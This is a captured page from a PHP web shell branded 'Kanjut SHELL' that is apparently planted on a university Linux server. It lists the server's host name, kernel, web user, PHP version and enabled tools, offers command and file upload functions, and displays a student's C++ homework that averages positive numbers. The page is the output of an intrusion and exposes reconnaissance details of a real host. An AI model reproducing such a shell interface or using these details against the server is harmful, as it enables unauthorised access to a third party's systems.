Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.149.24.143
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/kebuck/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/kebuck/halfhomework.cpp
//
//	Positive part of homework 6
//

#include <iostream>

using namespace std;

int main()
{
	int data;
	int counter_positive = 0;
	int sum_positive =0;

	cin >> data;
	while(cin)
	{

		if ( data > 0)
		{

			sum_positive += data;
			counter_positive ++;
		}


		cin >> data;
	}
	cout << "How many positive number " << sum_positive << "\n\n";
	cout << "How many pos " << counter_positive << "\n\n";
	cout << "Average of pos " << float(sum_positive)/ counter_positive 
<< "\n\n";

	return 0;

}

Stv3n404 - 2023